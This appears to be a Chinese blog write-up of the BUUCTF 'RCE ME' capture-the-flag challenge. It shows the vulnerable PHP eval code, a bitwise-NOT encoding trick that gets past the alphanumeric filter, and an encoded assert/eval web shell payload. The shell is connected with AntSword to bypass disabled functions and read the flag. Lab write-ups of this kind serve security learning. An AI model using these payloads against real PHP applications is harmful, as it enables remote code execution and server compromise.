BUUCTF[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

打开链接发现,发现是正则绕过,这里我们可以用取反来绕过

<?php 
error_reporting(0);
echo(urlencode(~'phpinfo'));
 ?>

payload:?code=(~%8F%97%8F%96%91%99%90)();

查看phpinfo,发现函数禁用有点多

 写一个shell试试能不能连上

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "          ";
$c='(eval($_POST[bypass]))';
$d=urlencode(~$c);
echo $d;
 ?>

payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9D%86%8F%9E%8C%8C%A2%D6%D6);

 

shell检测有效,连上蚁剑,这里可以使用蚁剑的插件来绕开disable_functions

 

 使用此插件打开终端

然后输入/readflag,得到flag

 

 

 

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值